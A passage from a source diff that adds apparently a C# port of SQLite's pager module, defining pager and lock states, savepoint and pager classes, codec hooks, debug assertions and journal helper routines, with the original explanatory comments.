4 + //#define PAGER_WRITER_FINISHED 5 + //#define PAGER_ERROR 6 + const int PAGER_OPEN = 0; + const int PAGER_READER = 1; + const int PAGER_WRITER_LOCKED = 2; + const int PAGER_WRITER_CACHEMOD = 3; + const int PAGER_WRITER_DBMOD = 4; + const int PAGER_WRITER_FINISHED = 5; + const int PAGER_ERROR = 6; + + /* + ** The Pager.eLock variable is almost always set to one of the + ** following locking-states, according to the lock currently held on + ** the database file: NO_LOCK, SHARED_LOCK, RESERVED_LOCK or EXCLUSIVE_LOCK. + ** This variable is kept up to date as locks are taken and released by + ** the pagerLockDb() and pagerUnlockDb() wrappers. + ** + ** If the VFS xLock() or xUnlock() returns an error other than SQLITE_BUSY + ** (i.e. one of the SQLITE_IOERR subtypes), it is not clear whether or not + ** the operation was successful. In these circumstances pagerLockDb() and + ** pagerUnlockDb() take a conservative approach - eLock is always updated + ** when unlocking the file, and only updated when locking the file if the + ** VFS call is successful. This way, the Pager.eLock variable may be set + ** to a less exclusive (lower) value than the lock that is actually held + ** at the system level, but it is never set to a more exclusive value. + ** + ** This is usually safe. If an xUnlock fails or appears to fail, there may + ** be a few redundant xLock() calls or a lock may be held for longer than + ** required, but nothing really goes wrong. + ** + ** The exception is when the database file is unlocked as the pager moves + ** from ERROR to OPEN state. At this point there may be a hot-journal file + ** in the file-system that needs to be rolled back (as part of a OPEN->SHARED + ** transition, by the same pager or any other). If the call to xUnlock() + ** fails at this point and the pager is left holding an EXCLUSIVE lock, this + ** can confuse the call to xCheckReservedLock() call made later as part + ** of hot-journal detection. + ** + ** xCheckReservedLock() is defined as returning true "if there is a RESERVED + ** lock held by this process or any others". So xCheckReservedLock may + ** return true because the caller itself is holding an EXCLUSIVE lock (but + ** doesn't know it because of a previous error in xUnlock). If this happens + ** a hot-journal may be mistaken for a journal being created by an active + ** transaction in another process, causing SQLite to read from the database + ** without rolling it back. + ** + ** To work around this, if a call to xUnlock() fails when unlocking the + ** database in the ERROR state, Pager.eLock is set to UNKNOWN_LOCK. It + ** is only changed back to a real locking state after a successful call + ** to xLock(EXCLUSIVE). Also, the code to do the OPEN->SHARED state transition + ** omits the check for a hot-journal if Pager.eLock is set to UNKNOWN_LOCK + ** lock. Instead, it assumes a hot-journal exists and obtains an EXCLUSIVE + ** lock on the database file before attempting to roll it back. See function + ** PagerSharedLock() for more detail. + ** + ** Pager.eLock may only be set to UNKNOWN_LOCK when the pager is in + ** PAGER_OPEN state. + */ + //#define UNKNOWN_LOCK (EXCLUSIVE_LOCK+1) + const int UNKNOWN_LOCK = ( EXCLUSIVE_LOCK + 1 ); + + /* + ** A macro used for invoking the codec if there is one + */ + + // The E parameter is what executes when there is an error, + // cannot implement here, since this is not really a macro + // calling code must be modified to call E when truen + +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + //# define CODEC1(P,D,N,X,E) \ + //if( P.xCodec && P.xCodec(P.pCodec,D,N,X)==0 ){ E; } + static bool CODEC1( Pager P, byte[] D, uint N /* page number */, int X /* E (moved to caller */) + { + return ( ( P.xCodec != null ) && ( P.xCodec( P.pCodec, D, N, X ) == null ) ); + } + + // The E parameter is what executes when there is an error, + // cannot implement here, since this is not really a macro + // calling code must be modified to call E when truen + + //# define CODEC2(P,D,N,X,E,O) \ + //if( P.xCodec==0 ){ O=(char*)D; }else \ + //if( (O=(char*)(P.xCodec(P.pCodec,D,N,X)))==0 ){ E; } + static bool CODEC2( Pager P, byte[] D, uint N, int X, ref byte[] O ) + { + if ( P.xCodec == null ) + { + O = D; // do nothing + return false; + } + else + { + return ( ( O = P.xCodec( P.pCodec, D, N, X ) ) == null ); + } + } +#else +//# define CODEC1(P,D,N,X,E) /* NO-OP */ +static bool CODEC1 (Pager P, byte[] D, uint N /* page number */, int X /* E (moved to caller */) { return false; } +//# define CODEC2(P,D,N,X,E,O) O=(char*)D +static bool CODEC2( Pager P, byte[] D, uint N, int X, ref byte[] O ) { O = D; return false; } +#endif + + /* +** The maximum allowed sector size. 64KiB. If the xSectorsize() method +** returns a value larger than this, then MAX_SECTOR_SIZE is used instead. +** This could conceivably cause corruption following a power failure on +** such a system. This is currently an undocumented limit. +*/ + //#define MAX_SECTOR_SIZE 0x10000 + const int MAX_SECTOR_SIZE = 0x10000; + + /* + ** An instance of the following structure is allocated for each active + ** savepoint and statement transaction in the system. All such structures + ** are stored in the Pager.aSavepoint[] array, which is allocated and + ** resized using sqlite3Realloc(). + ** + ** When a savepoint is created, the PagerSavepoint.iHdrOffset field is + ** set to 0. If a journal-header is written into the main journal while + ** the savepoint is active, then iHdrOffset is set to the byte offset + ** immediately following the last journal record written into the main + ** journal before the journal-header. This is required during savepoint + ** rollback (see pagerPlaybackSavepoint()). + */ + //typedef struct PagerSavepoint PagerSavepoint; + public class PagerSavepoint + { + public i64 iOffset; /* Starting offset in main journal */ + public i64 iHdrOffset; /* See above */ + public Bitvec pInSavepoint; /* Set of pages in this savepoint */ + public Pgno nOrig; /* Original number of pages in file */ + public Pgno iSubRec; /* Index of first record in sub-journal */ +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +public u32 aWalData[WAL_SAVEPOINT_NDATA]; /* WAL savepoint context */ +#else + public object aWalData = null; /* Used for C# convenience */ +#endif + public static implicit operator bool( PagerSavepoint b ) + { + return ( b != null ); + } + }; + + + /* + ** A open page cache is an instance of struct Pager. A description of + ** some of the more important member variables follows: + ** + ** eState + ** + ** The current 'state' of the pager object. See the comment and state + ** diagram above for a description of the pager state. + ** + ** eLock + ** + ** For a real on-disk database, the current lock held on the database file - + ** NO_LOCK, SHARED_LOCK, RESERVED_LOCK or EXCLUSIVE_LOCK. + ** + ** For a temporary or in-memory database (neither of which require any + ** locks), this variable is always set to EXCLUSIVE_LOCK. Since such + ** databases always have Pager.exclusiveMode==1, this tricks the pager + ** logic into thinking that it already has all the locks it will ever + ** need (and no reason to release them). + ** + ** In some (obscure) circumstances, this variable may also be set to + ** UNKNOWN_LOCK. See the comment above the #define of UNKNOWN_LOCK for + ** details. + ** + ** changeCountDone + ** + ** This boolean variable is used to make sure that the change-counter + ** (the 4-byte header field at byte offset 24 of the database file) is + ** not updated more often than necessary. + ** + ** It is set to true when the change-counter field is updated, which + ** can only happen if an exclusive lock is held on the database file. + ** It is cleared (set to false) whenever an exclusive lock is + ** relinquished on the database file. Each time a transaction is committed, + ** The changeCountDone flag is inspected. If it is true, the work of + ** updating the change-counter is omitted for the current transaction. + ** + ** This mechanism means that when running in exclusive mode, a connection + ** need only update the change-counter once, for the first transaction + ** committed. + ** + ** setMaster + ** + ** When PagerCommitPhaseOne() is called to commit a transaction, it may + ** (or may not) specify a master-journal name to be written into the + ** journal file before it is synced to disk. + ** + ** Whether or not a journal file contains a master-journal pointer affects + ** the way in which the journal file is finalized after the transaction is + ** committed or rolled back when running in "journal_mode=PERSIST" mode. + ** If a journal file does not contain a master-journal pointer, it is + ** finalized by overwriting the first journal header with zeroes. If + ** it does contain a master-journal pointer the journal file is finalized + ** by truncating it to zero bytes, just as if the connection were + ** running in "journal_mode=truncate" mode. + ** + ** Journal files that contain master journal pointers cannot be finalized + ** simply by overwriting the first journal-header with zeroes, as the + ** master journal pointer could interfere with hot-journal rollback of any + ** subsequently interrupted transaction that reuses the journal file. + ** + ** The flag is cleared as soon as the journal file is finalized (either + ** by PagerCommitPhaseTwo or PagerRollback). If an IO error prevents the + ** journal file from being successfully finalized, the setMaster flag + ** is cleared anyway (and the pager will move to ERROR state). + ** + ** doNotSpill, doNotSyncSpill + ** + ** These two boolean variables control the behaviour of cache-spills + ** (calls made by the pcache module to the pagerStress() routine to + ** write cached data to the file-system in order to free up memory). + ** + ** When doNotSpill is non-zero, writing to the database from pagerStress() + ** is disabled altogether. This is done in a very obscure case that + ** comes up during savepoint rollback that requires the pcache module + ** to allocate a new page to prevent the journal file from being written + ** while it is being traversed by code in pager_playback(). + ** + ** If doNotSyncSpill is non-zero, writing to the database from pagerStress() + ** is permitted, but syncing the journal file is not. This flag is set + ** by sqlite3PagerWrite() when the file-system sector-size is larger than + ** the database page-size in order to prevent a journal sync from happening + ** in between the journalling of two pages on the same sector. + ** + ** subjInMemory + ** + ** This is a boolean variable. If true, then any required sub-journal + ** is opened as an in-memory journal file. If false, then in-memory + ** sub-journals are only used for in-memory pager files. + ** + ** This variable is updated by the upper layer each time a new + ** write-transaction is opened. + ** + ** dbSize, dbOrigSize, dbFileSize + ** + ** Variable dbSize is set to the number of pages in the database file. + ** It is valid in PAGER_READER and higher states (all states except for + ** OPEN and ERROR). + ** + ** dbSize is set based on the size of the database file, which may be + ** larger than the size of the database (the value stored at offset + ** 28 of the database header by the btree). If the size of the file + ** is not an integer multiple of the page-size, the value stored in + ** dbSize is rounded down (i.e. a 5KB file with 2K page-size has dbSize==2). + ** Except, any file that is greater than 0 bytes in size is considered + ** to have at least one page. (i.e. a 1KB file with 2K page-size leads + ** to dbSize==1). + ** + ** During a write-transaction, if pages with page-numbers greater than + ** dbSize are modified in the cache, dbSize is updated accordingly. + ** Similarly, if the database is truncated using PagerTruncateImage(), + ** dbSize is updated. + ** + ** Variables dbOrigSize and dbFileSize are valid in states + ** PAGER_WRITER_LOCKED and higher. dbOrigSize is a copy of the dbSize + ** variable at the start of the transaction. It is used during rollback, + ** and to determine whether or not pages need to be journalled before + ** being modified. + ** + ** Throughout a write-transaction, dbFileSize contains the size of + ** the file on disk in pages. It is set to a copy of dbSize when the + ** write-transaction is first opened, and updated when VFS calls are made + ** to write or truncate the database file on disk. + ** + ** The only reason the dbFileSize variable is required is to suppress + ** unnecessary calls to xTruncate() after committing a transaction. If, + ** when a transaction is committed, the dbFileSize variable indicates + ** that the database file is larger than the database image (Pager.dbSize), + ** pager_truncate() is called. The pager_truncate() call uses xFilesize() + ** to measure the database file on disk, and then truncates it if required. + ** dbFileSize is not used when rolling back a transaction. In this case + ** pager_truncate() is called unconditionally (which means there may be + ** a call to xFilesize() that is not strictly required). In either case, + ** pager_truncate() may cause the file to become smaller or larger. + ** + ** dbHintSize + ** + ** The dbHintSize variable is used to limit the number of calls made to + ** the VFS xFileControl(FCNTL_SIZE_HINT) method. + ** + ** dbHintSize is set to a copy of the dbSize variable when a + ** write-transaction is opened (at the same time as dbFileSize and + ** dbOrigSize). If the xFileControl(FCNTL_SIZE_HINT) method is called, + ** dbHintSize is increased to the number of pages that correspond to the + ** size-hint passed to the method call. See pager_write_pagelist() for + ** details. + ** + ** errCode + ** + ** The Pager.errCode variable is only ever used in PAGER_ERROR state. It + ** is set to zero in all other states. In PAGER_ERROR state, Pager.errCode + ** is always set to SQLITE_FULL, SQLITE_IOERR or one of the SQLITE_IOERR_XXX + ** sub-codes. + */ + public class Pager + { + public sqlite3_vfs pVfs; /* OS functions to use for IO */ + public bool exclusiveMode; /* Boolean. True if locking_mode==EXCLUSIVE */ + public u8 journalMode; /* One of the PAGER_JOURNALMODE_* values */ + public u8 useJournal; /* Use a rollback journal on this file */ + public u8 noReadlock; /* Do not bother to obtain readlocks */ + public bool noSync; /* Do not sync the journal if true */ + public bool fullSync; /* Do extra syncs of the journal for robustness */ + public u8 ckptSyncFlags; /* SYNC_NORMAL or SYNC_FULL for checkpoint */ + public u8 syncFlags; /* SYNC_NORMAL or SYNC_FULL otherwise */ + public bool tempFile; /* zFilename is a temporary file */ + public bool readOnly; /* True for a read-only database */ + public bool alwaysRollback; /* Disable DontRollback() for all pages */ + public u8 memDb; /* True to inhibit all file I/O */ + /************************************************************************** + ** The following block contains those class members that change during + ** routine opertion. Class members not in this block are either fixed + ** when the pager is first created or else only change when there is a + ** significant mode change (such as changing the page_size, locking_mode, + ** or the journal_mode). From another view, these class members describe + ** the "state" of the pager, while other class members describe the + ** "configuration" of the pager. + */ + public u8 eState; /* Pager state (OPEN, READER, WRITER_LOCKED..) */ + public u8 eLock; /* Current lock held on database file */ + public bool changeCountDone; /* Set after incrementing the change-counter */ + public int setMaster; /* True if a m-j name has been written to jrnl */ + public u8 doNotSpill; /* Do not spill the cache when non-zero */ + public u8 doNotSyncSpill; /* Do not do a spill that requires jrnl sync */ + public u8 subjInMemory; /* True to use in-memory sub-journals */ + public Pgno dbSize; /* Number of pages in the database */ + public Pgno dbOrigSize; /* dbSize before the current transaction */ + public Pgno dbFileSize; /* Number of pages in the database file */ + public Pgno dbHintSize; /* Value passed to FCNTL_SIZE_HINT call */ + public int errCode; /* One of several kinds of errors */ + public int nRec; /* Pages journalled since last j-header written */ + public u32 cksumInit; /* Quasi-random value added to every checksum */ + public u32 nSubRec; /* Number of records written to sub-journal */ + public Bitvec pInJournal; /* One bit for each page in the database file */ + public sqlite3_file fd; /* File descriptor for database */ + public sqlite3_file jfd; /* File descriptor for main journal */ + public sqlite3_file sjfd; /* File descriptor for sub-journal */ + public i64 journalOff; /* Current write offset in the journal file */ + public i64 journalHdr; /* Byte offset to previous journal header */ + public sqlite3_backup pBackup; /* Pointer to list of ongoing backup processes */ + public PagerSavepoint[] aSavepoint;/* Array of active savepoints */ + public int nSavepoint; /* Number of elements in aSavepoint[] */ + public u8[] dbFileVers = new u8[16];/* Changes whenever database file changes */ + /* + ** End of the routinely-changing class members + ***************************************************************************/ + + public u16 nExtra; /* Add this many bytes to each in-memory page */ + public i16 nReserve; /* Number of unused bytes at end of each page */ + public u32 vfsFlags; /* Flags for sqlite3_vfs.xOpen() */ + public u32 sectorSize; /* Assumed sector size during rollback */ + public int pageSize; /* Number of bytes in a page */ + public Pgno mxPgno; /* Maximum allowed size of the database */ + public i64 journalSizeLimit; /* Size limit for persistent journal files */ + public string zFilename; /* Name of the database file */ + public string zJournal; /* Name of the journal file */ + public dxBusyHandler xBusyHandler; /* Function to call when busy */ + public object pBusyHandlerArg; /* Context argument for xBusyHandler */ +#if SQLITE_TEST || DEBUG + public int nHit, nMiss; /* Cache hits and missing */ + public int nRead, nWrite; /* Database pages read/written */ +#else +public int nHit; +#endif + public dxReiniter xReiniter; //(DbPage*,int);/* Call this routine when reloading pages */ +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + //void *(*xCodec)(void*,void*,Pgno,int); + public dxCodec xCodec; /* Routine for en/decoding data */ + //void (*xCodecSizeChng)(void*,int,int); + public dxCodecSizeChng xCodecSizeChng; /* Notify of page size changes */ + //void (*xCodecFree)(void*); + public dxCodecFree xCodecFree; /* Destructor for the codec */ + public codec_ctx pCodec; /* First argument to xCodec... methods */ +#endif + public byte[] pTmpSpace; /* Pager.pageSize bytes of space for tmp use */ + public PCache pPCache; /* Pointer to page cache object */ +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +public Wal pWal; /* Write-ahead log used by "journal_mode=wal" */ +public string zWal; /* File name for write-ahead log */ +#else + public sqlite3_vfs pWal = null; /* Having this dummy here makes C# easier */ +#endif + }; + + /* + ** The following global variables hold counters used for + ** testing purposes only. These variables do not exist in + ** a non-testing build. These variables are not thread-safe. + */ +#if SQLITE_TEST +#if !TCLSH + static int sqlite3_pager_readdb_count = 0; /* Number of full pages read from DB */ + static int sqlite3_pager_writedb_count = 0; /* Number of full pages written to DB */ + static int sqlite3_pager_writej_count = 0; /* Number of pages written to journal */ +#else + static tcl.lang.Var.SQLITE3_GETSET sqlite3_pager_readdb_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_pager_readdb_count" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_pager_writedb_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_pager_writedb_count" ); + static tcl.lang.Var.SQLITE3_GETSET sqlite3_pager_writej_count = new tcl.lang.Var.SQLITE3_GETSET( "sqlite3_pager_writej_count" ); +#endif + static void PAGER_INCR( ref int v ) + { + v++; + } +#else +//# define PAGER_INCR(v) +static void PAGER_INCR(ref int v) {} +#endif + + /* +** Journal files begin with the following magic string. The data +** was obtained from /dev/random. It is used only as a sanity check. +** +** Since version 2.8.0, the journal format contains additional sanity +** checking information. If the power fails while the journal is being +** written, semi-random garbage data might appear in the journal +** file after power is restored. If an attempt is then made +** to roll the journal back, the database could be corrupted. The additional +** sanity checking data is an attempt to discover the garbage in the +** journal and ignore it. +** +** The sanity checking information for the new journal format consists +** of a 32-bit checksum on each page of data. The checksum covers both +** the page number and the pPager.pageSize bytes of data for the page. +** This cksum is initialized to a 32-bit random value that appears in the +** journal file right after the header. The random initializer is important, +** because garbage data that appears at the end of a journal is likely +** data that was once in other files that have now been deleted. If the +** garbage data came from an obsolete journal file, the checksums might +** be correct. But by initializing the checksum to random value which +** is different for every journal, we minimize that risk. +*/ + static byte[] aJournalMagic = new byte[] { +0xd9, 0xd5, 0x05, 0xf9, 0x20, 0xa1, 0x63, 0xd7, +}; + /* + ** The size of the of each page record in the journal is given by + ** the following macro. + */ + //#define JOURNAL_PG_SZ(pPager) ((pPager.pageSize) + 8) + static int JOURNAL_PG_SZ( Pager pPager ) + { + return ( pPager.pageSize + 8 ); + } + + /* + ** The journal header size for this pager. This is usually the same + ** size as a single disk sector. See also setSectorSize(). + */ + //#define JOURNAL_HDR_SZ(pPager) (pPager.sectorSize) + static u32 JOURNAL_HDR_SZ( Pager pPager ) + { + return ( pPager.sectorSize ); + } + + /* + ** The macro MEMDB is true if we are dealing with an in-memory database. + ** We do this as a macro so that if the SQLITE_OMIT_MEMORYDB macro is set, + ** the value of MEMDB will be a constant and the compiler will optimize + ** out code that would never execute. + */ +#if SQLITE_OMIT_MEMORYDB +//# define MEMDB 0 +const int MEMDB = 0; +#else + //# define MEMDB pPager.memDb +#endif + + /* +** The maximum legal page number is (2^31 - 1). +*/ + //#define PAGER_MAX_PGNO 2147483647 + const int PAGER_MAX_PGNO = 2147483647; + + /* + ** The argument to this macro is a file descriptor (type sqlite3_file*). + ** Return 0 if it is not open, or non-zero (but not 1) if it is. + ** + ** This is so that expressions can be written as: + ** + ** if( isOpen(pPager.jfd) ){ ... + ** + ** instead of + ** + ** if( pPager.jfd->pMethods ){ ... + */ + //#define isOpen(pFd) ((pFd)->pMethods) + static bool isOpen( sqlite3_file pFd ) + { + return pFd.pMethods != null; + } + + /* + ** Return true if this pager uses a write-ahead log instead of the usual + ** rollback journal. Otherwise false. + */ +#if NOT_SQLITE_OMIT_WAL //#if !SQLITE_OMIT_WAL +static int pagerUseWal(Pager *pPager){ +return (pPager->pWal!=0); +} +#else + //# define pagerUseWal(x) 0 + static bool pagerUseWal( Pager x ) + { + return false; + } + //# define pagerRollbackWal(x) 0 + static int pagerRollbackWal( Pager x ) + { + return 0; + } + //# define pagerWalFrames(v,w,x,y,z) 0 + static int pagerWalFrames( Pager v, PgHdr w, Pgno x, int y, int z ) + { + return 0; + } + //# define pagerOpenWalIfPresent(z) SQLITE_OK + static int pagerOpenWalIfPresent( Pager z ) + { + return SQLITE_OK; + } + //# define pagerBeginReadTransaction(z) SQLITE_OK + static int pagerBeginReadTransaction( Pager z ) + { + return SQLITE_OK; + } +#endif + +#if NDEBUG + /* +** Usage: +** +** Debug.Assert( assert_pager_state(pPager) ); +** +** This function runs many Debug.Asserts to try to find inconsistencies in +** the internal state of the Pager object. +*/ + static bool assert_pager_state( Pager p ) + { + Pager pPager = p; + + /* State must be valid. */ + Debug.Assert( p.eState == PAGER_OPEN + || p.eState == PAGER_READER + || p.eState == PAGER_WRITER_LOCKED + || p.eState == PAGER_WRITER_CACHEMOD + || p.eState == PAGER_WRITER_DBMOD + || p.eState == PAGER_WRITER_FINISHED + || p.eState == PAGER_ERROR + ); + + /* Regardless of the current state, a temp-file connection always behaves + ** as if it has an exclusive lock on the database file. It never updates + ** the change-counter field, so the changeCountDone flag is always set. + */ + Debug.Assert( p.tempFile == false || p.eLock == EXCLUSIVE_LOCK ); + Debug.Assert( p.tempFile == false || pPager.changeCountDone ); + + /* If the useJournal flag is clear, the journal-mode must be "OFF". + ** And if the journal-mode is "OFF", the journal file must not be open. + */ + Debug.Assert( p.journalMode == PAGER_JOURNALMODE_OFF || p.useJournal != 0 ); + Debug.Assert( p.journalMode != PAGER_JOURNALMODE_OFF || !isOpen( p.jfd ) ); + + /* Check that MEMDB implies noSync. And an in-memory journal. Since + ** this means an in-memory pager performs no IO at all, it cannot encounter + ** either SQLITE_IOERR or SQLITE_FULL during rollback or while finalizing + ** a journal file. (although the in-memory journal implementation may + ** return SQLITE_IOERR_NOMEM while the journal file is being written). It + ** is therefore not possible for an in-memory pager to enter the ERROR + ** state. + */ + if ( +#if SQLITE_OMIT_MEMORYDB +0!=MEMDB +#else + 0 != pPager.memDb +#endif + ) + { + Debug.Assert( p.noSync ); + Debug.Assert( p.journalMode == PAGER_JOURNALMODE_OFF + || p.journalMode == PAGER_JOURNALMODE_MEMORY + ); + Debug.Assert( p.eState != PAGER_ERROR && p.eState != PAGER_OPEN ); + Debug.Assert( pagerUseWal( p ) == false ); + } + + /* If changeCountDone is set, a RESERVED lock or greater must be held + ** on the file. + */ + Debug.Assert( pPager.changeCountDone == false || pPager.eLock >= RESERVED_LOCK ); + Debug.Assert( p.eLock != PENDING_LOCK ); + + switch ( p.eState ) + { + case PAGER_OPEN: + Debug.Assert( +#if SQLITE_OMIT_MEMORYDB +0==MEMDB +#else + 0 == pPager.memDb +#endif + ); + Debug.Assert( pPager.errCode == SQLITE_OK ); + Debug.Assert( sqlite3PcacheRefCount( pPager.pPCache ) == 0 || pPager.tempFile ); + break; + + case PAGER_READER: + Debug.Assert( pPager.errCode == SQLITE_OK ); + Debug.Assert( p.eLock != UNKNOWN_LOCK ); + Debug.Assert( p.eLock >= SHARED_LOCK || p.noReadlock != 0 ); + break; + + case PAGER_WRITER_LOCKED: + Debug.Assert( p.eLock != UNKNOWN_LOCK ); + Debug.Assert( pPager.errCode == SQLITE_OK ); + if ( !pagerUseWal( pPager ) ) + { + Debug.Assert( p.eLock >= RESERVED_LOCK ); + } + Debug.Assert( pPager.dbSize == pPager.dbOrigSize ); + Debug.Assert( pPager.dbOrigSize == pPager.dbFileSize ); + Debug.Assert( pPager.dbOrigSize == pPager.dbHintSize ); + Debug.Assert( pPager.setMaster == 0 ); + break; + + case PAGER_WRITER_CACHEMOD: + Debug.Assert( p.eLock != UNKNOWN_LOCK ); + Debug.Assert( pPager.errCode == SQLITE_OK ); + if ( !pagerUseWal( pPager ) ) + { + /* It is possible that if journal_mode=wal here that neither the + ** journal file nor the WAL file are open. This happens during + ** a rollback transaction that switches from journal_mode=off + ** to journal_mode=wal. + */ + Debug.Assert( p.eLock >= RESERVED_LOCK ); + Debug.Assert( isOpen( p.jfd ) + || p.journalMode == PAGER_JOURNALMODE_OFF + || p.journalMode == PAGER_JOURNALMODE_WAL + ); + } + Debug.Assert( pPager.dbOrigSize == pPager.dbFileSize ); + Debug.Assert( pPager.dbOrigSize == pPager.dbHintSize ); + break; + + case PAGER_WRITER_DBMOD: + Debug.Assert( p.eLock == EXCLUSIVE_LOCK ); + Debug.Assert( pPager.errCode == SQLITE_OK ); + Debug.Assert( !pagerUseWal( pPager ) ); + Debug.Assert( p.eLock >= EXCLUSIVE_LOCK ); + Debug.Assert( isOpen( p.jfd ) + || p.journalMode == PAGER_JOURNALMODE_OFF + || p.journalMode == PAGER_JOURNALMODE_WAL + ); + Debug.Assert( pPager.dbOrigSize <= pPager.dbHintSize ); + break; + + case PAGER_WRITER_FINISHED: + Debug.Assert( p.eLock == EXCLUSIVE_LOCK ); + Debug.Assert( pPager.errCode == SQLITE_OK ); + Debug.Assert( !pagerUseWal( pPager ) ); + Debug.Assert( isOpen( p.jfd ) + || p.journalMode == PAGER_JOURNALMODE_OFF + || p.journalMode == PAGER_JOURNALMODE_WAL + ); + break; + + case PAGER_ERROR: + /* There must be at least one outstanding reference to the pager if + ** in ERROR state. Otherwise the pager should have already dropped + ** back to OPEN state. + */ + Debug.Assert( pPager.errCode != SQLITE_OK ); + Debug.Assert( sqlite3PcacheRefCount( pPager.pPCache ) > 0 ); + break; + } + + return true; + } +#else + static bool assert_pager_state( Pager pPager ) + { + return true; + } +#endif //* ifndef NDEBUG */ + +#if SQLITE_DEBUG + /* +** Return a pointer to a human readable string in a static buffer +** containing the state of the Pager object passed as an argument. This +** is intended to be used within debuggers. For example, as an alternative +** to "print *pPager" in gdb: +** +** (gdb) printf "%s", print_pager_state(pPager) +*/ + static string print_pager_state( Pager p ) + { + StringBuilder zRet = new StringBuilder( 1024 ); + + sqlite3_snprintf( 1024, zRet, + "Filename: %s\n" + + "State: %s errCode=%d\n" + + "Lock: %s\n" + + "Locking mode: locking_mode=%s\n" + + "Journal mode: journal_mode=%s\n" + + "Backing store: tempFile=%d memDb=%d useJournal=%d\n" + + "Journal: journalOff=%lld journalHdr=%lld\n" + + "Size: dbsize=%d dbOrigSize=%d dbFileSize=%d\n" + , p.zFilename + , p.eState == PAGER_OPEN ? "OPEN" : + p.eState == PAGER_READER ? "READER" : + p.eState == PAGER_WRITER_LOCKED ? "WRITER_LOCKED" : + p.eState == PAGER_WRITER_CACHEMOD ? "WRITER_CACHEMOD" : + p.eState == PAGER_WRITER_DBMOD ? "WRITER_DBMOD" : + p.eState == PAGER_WRITER_FINISHED ? "WRITER_FINISHED" : + p.eState == PAGER_ERROR ? "ERROR" : "?error?" + , (int)p.errCode + , p.eLock == NO_LOCK ? "NO_LOCK" : + p.eLock == RESERVED_LOCK ? "RESERVED" : + p.eLock == EXCLUSIVE_LOCK ? "EXCLUSIVE" : + p.eLock == SHARED_LOCK ? "SHARED" : + p.eLock == UNKNOWN_LOCK ? "UNKNOWN" : "?error?" + , p.exclusiveMode ? "exclusive" : "normal" + , p.journalMode == PAGER_JOURNALMODE_MEMORY ? "memory" : + p.journalMode == PAGER_JOURNALMODE_OFF ? "off" : + p.journalMode == PAGER_JOURNALMODE_DELETE ? "delete" : + p.journalMode == PAGER_JOURNALMODE_PERSIST ? "persist" : + p.journalMode == PAGER_JOURNALMODE_TRUNCATE ? "truncate" : + p.journalMode == PAGER_JOURNALMODE_WAL ? "wal" : "?error?" + , p.tempFile ? 1 : 0, (int)p.memDb, (int)p.useJournal + , p.journalOff, p.journalHdr + , (int)p.dbSize, (int)p.dbOrigSize, (int)p.dbFileSize + ); + + return zRet.ToString(); + } +#endif + + /* +** Return true if it is necessary to write page *pPg into the sub-journal. +** A page needs to be written into the sub-journal if there exists one +** or more open savepoints for which: +** +** * The page-number is less than or equal to PagerSavepoint.nOrig, and +** * The bit corresponding to the page-number is not set in +** PagerSavepoint.pInSavepoint. +*/ + static bool subjRequiresPage( PgHdr pPg ) + { + u32 pgno = pPg.pgno; + Pager pPager = pPg.pPager; + int i; + for ( i = 0; i < pPager.nSavepoint; i++ ) + { + PagerSavepoint p = pPager.aSavepoint[i]; + if ( p.nOrig >= pgno && 0 == sqlite3BitvecTest( p.pInSavepoint, pgno ) ) + { + return true; + } + } + return false; + } + + /* + ** Return true if the page is already in the journal file. + */ + static bool pageInJournal( PgHdr pPg ) + { + return sqlite3BitvecTest( pPg.pPager.pInJournal, pPg.pgno ) != 0; + } + + /* + ** Read a 32-bit integer from the given file descriptor. Store the integer + ** that is read in pRes. Return SQLITE_OK if everything worked, or an + ** error code is something goes wrong. + ** + ** All values are stored on disk as big-endian. + */ + static int read32bits( sqlite3_file fd, int offset, ref int pRes ) + { + u32 u32_pRes = 0; + int rc = read32bits( fd, offset, ref u32_pRes ); + pRes = (int)u32_pRes; + return rc; + } + static int read32bits( sqlite3_file fd, i64 offset, ref u32 pRes ) + { + int rc = read32bits( fd, (int)offset, ref pRes ); + return rc; + } + static int read32bits( sqlite3_file fd, int offset, ref u32 pRes ) + { + byte[] ac = new byte[4]; + int rc = sqlite3OsRead( fd, ac, ac.Length, offset ); + if ( rc == SQLITE_OK ) + { + pRes = sqlite3Get4byte( ac ); + } + else + pRes = 0; + return rc; + } + + /* + ** Write a 32-bit integer into a string buffer in big-endian byte order. + */ + //#define put32bits(A,B) sqlite3sqlite3Put4byte((u8*)A,B) + static void put32bits( string ac, int offset, int val ) + { + byte[] A = new byte[4]; + A[0] = (byte)ac[offset + 0]; + A[1] = (byte)ac[offset + 1]; + A[2] = (byte)ac[offset + 2]; + A[3] = (byte)ac[offset + 3]; + sqlite3Put4byte( A, 0, val ); + } + static void put32bits( byte[] ac, int offset, int val ) + { + sqlite3Put4byte( ac, offset, (u32)val ); + } + static void put32bits( byte[] ac, u32 val ) + { + sqlite3Put4byte( ac, 0U, val ); + } + static void put32bits( byte[] ac, int offset, u32 val ) + { + sqlite3Put4byte( ac, offset, val ); + } + + /* + ** Write a 32-bit integer into the given file descriptor. Return SQLITE_OK + ** on success or an error code is something goes wrong. + */ + static int write32bits( sqlite3_file fd, i64 offset, u32 val ) + { + byte[] ac = new byte[4]; + put32bits( ac, val ); + return sqlite3OsWrite( fd, ac, 4, offset ); + } + + /* + ** Unlock the database file to level eLock, which must be either NO_LOCK + ** or SHARED_LOCK. Regardless of whether or not the call to xUnlock() + ** succeeds, set the Pager.eLock variable to match the (attempted) new lock. + ** + ** Except, if Pager.eLock is set to UNKNOWN_LOCK when this function is + ** called, do not modify it. See the comment above the #define of + ** UNKNOWN_LOCK for an explanation of this. + */ + static int pagerUnlockDb( Pager pPager, int eLock ) + { + int rc = SQLITE_OK; + + Debug.Assert( !pPager.exclusiveMode || pPager.eLock == eLock ); + Debug.Assert( eLock == NO_LOCK || eLock == SHARED_LOCK ); + Debug.Assert( eLock != NO_LOCK || pagerUseWal( pPager ) == false ); + if ( isOpen( pPager.fd ) ) + { + Debug.Assert( pPager.eLock >= eLock ); + rc = sqlite3OsUnlock( pPager.fd, eLock ); + if ( pPager.eLock != UNKNOWN_LOCK ) + { + pPager.eLock = (u8)eLock; + } + IOTRACE( "UNLOCK %p %d\n", pPager, eLock ); + } + return 